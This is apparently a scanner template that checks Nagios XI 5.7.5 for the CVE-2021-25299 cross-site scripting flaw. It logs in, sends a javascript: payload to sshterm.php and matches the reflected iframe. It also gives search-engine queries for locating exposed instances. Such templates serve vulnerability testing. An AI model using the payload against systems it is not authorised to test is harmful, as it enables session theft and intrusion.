id: CVE-2021-25299

info:
  name: Nagios XI 5.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
  remediation: |
    Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
    - http://nagios.com
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25299
    - https://assets.nagios.com/downloads/nagiosxi/versions.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25299
    cwe-id: CWE-79
    epss-score: 0.9644
    epss-percentile: 0.99577
    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query:
      - title:"Nagios XI"
      - http.title:"nagios xi"
    fofa-query:
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2021,cve,nagios,nagiosxi,xss,authenticated

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
      - |
        GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(header_3, 'text/html')"
          - "status_code_3 == 200"
          - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
        condition: and

    extractors:
      - type: regex
        name: nsp
        group: 1
        regex:
          - 'name="nsp" value="(.*)">'
        internal: true
        part: body
# digest: 4b0a00483046022100b6e32fdf023690379740be63f1b5f5926f9c63aab61a7ae3028a025b332572ca022100f666de0ee90d18447c1cc410a3798f819f5bc12627fa2fe3e5cfdd534b919458:922c64590222798bb761d5b6d8e72950